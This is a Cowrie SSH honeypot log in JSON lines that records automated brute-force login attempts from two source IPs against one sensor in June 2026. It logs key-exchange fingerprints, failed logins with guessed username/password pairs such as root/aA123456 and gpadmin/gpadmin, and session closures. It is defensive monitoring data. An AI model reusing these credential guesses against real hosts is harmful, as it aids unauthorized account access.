{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:47.087488Z","src_ip":"91.92.40.171","session":"76ed71acf4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:47.809693Z","src_ip":"91.92.40.171","session":"76ed71acf4e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50138,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f5123fe16ec","protocol":"ssh","message":"New connection: 91.92.42.133:50138 (159.203.135.109:22) [session: 8f5123fe16ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:48.692806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:48.812921Z","src_ip":"91.92.42.133","session":"8f5123fe16ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:48.815887Z","src_ip":"91.92.42.133","session":"8f5123fe16ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:48.933033Z","src_ip":"91.92.40.171","session":"76ed71acf4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:49.774924Z","src_ip":"91.92.42.133","session":"8f5123fe16ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:51.212439Z","src_ip":"91.92.42.133","session":"8f5123fe16ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41952,"dst_ip":"159.203.135.109","dst_port":22,"session":"393baf82094a","protocol":"ssh","message":"New connection: 91.92.40.171:41952 (159.203.135.109:22) [session: 393baf82094a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:52.322431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:52.414701Z","src_ip":"91.92.40.171","session":"393baf82094a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:52.517271Z","src_ip":"91.92.40.171","session":"393baf82094a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:53.196932Z","src_ip":"91.92.40.171","session":"393baf82094a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:54.313844Z","src_ip":"91.92.40.171","session":"393baf82094a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48146,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2289446801f","protocol":"ssh","message":"New connection: 91.92.42.133:48146 (159.203.135.109:22) [session: a2289446801f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:55.241275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:55.569709Z","src_ip":"91.92.42.133","session":"a2289446801f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:55.576103Z","src_ip":"91.92.42.133","session":"a2289446801f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:56.613976Z","src_ip":"91.92.42.133","session":"a2289446801f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54276,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1d931195fd1","protocol":"ssh","message":"New connection: 91.92.40.171:54276 (159.203.135.109:22) [session: b1d931195fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:58.081560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:58.118186Z","src_ip":"91.92.40.171","session":"b1d931195fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:58.241781Z","src_ip":"91.92.40.171","session":"b1d931195fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:58.283898Z","src_ip":"91.92.42.133","session":"a2289446801f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:58.745527Z","src_ip":"91.92.40.171","session":"b1d931195fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:59.858552Z","src_ip":"91.92.40.171","session":"b1d931195fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48186,"dst_ip":"159.203.135.109","dst_port":22,"session":"74198d967462","protocol":"ssh","message":"New connection: 91.92.42.133:48186 (159.203.135.109:22) [session: 74198d967462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:01.152712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:02.070835Z","src_ip":"91.92.42.133","session":"74198d967462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:02.079882Z","src_ip":"91.92.42.133","session":"74198d967462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54340,"dst_ip":"159.203.135.109","dst_port":22,"session":"8980178f861f","protocol":"ssh","message":"New connection: 91.92.40.171:54340 (159.203.135.109:22) [session: 8980178f861f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:05.144861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:05.153162Z","src_ip":"91.92.40.171","session":"8980178f861f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:05.181102Z","src_ip":"91.92.42.133","session":"74198d967462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:05.878612Z","src_ip":"91.92.40.171","session":"8980178f861f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:06.797395Z","src_ip":"91.92.42.133","session":"74198d967462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38302,"dst_ip":"159.203.135.109","dst_port":22,"session":"5922dca86c50","protocol":"ssh","message":"New connection: 91.92.42.133:38302 (159.203.135.109:22) [session: 5922dca86c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:08.377183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:08.817949Z","src_ip":"91.92.42.133","session":"5922dca86c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:08.837140Z","src_ip":"91.92.40.171","session":"8980178f861f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:08.840756Z","src_ip":"91.92.42.133","session":"5922dca86c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33322,"dst_ip":"159.203.135.109","dst_port":22,"session":"74721002525b","protocol":"ssh","message":"New connection: 91.92.40.171:33322 (159.203.135.109:22) [session: 74721002525b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:09.188476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:09.232620Z","src_ip":"91.92.40.171","session":"74721002525b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:09.331393Z","src_ip":"91.92.40.171","session":"74721002525b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456789","message":"login attempt [fastuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:09.676715Z","src_ip":"91.92.40.171","session":"74721002525b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:10.577448Z","src_ip":"91.92.40.171","session":"8980178f861f","protocol":"ssh"}
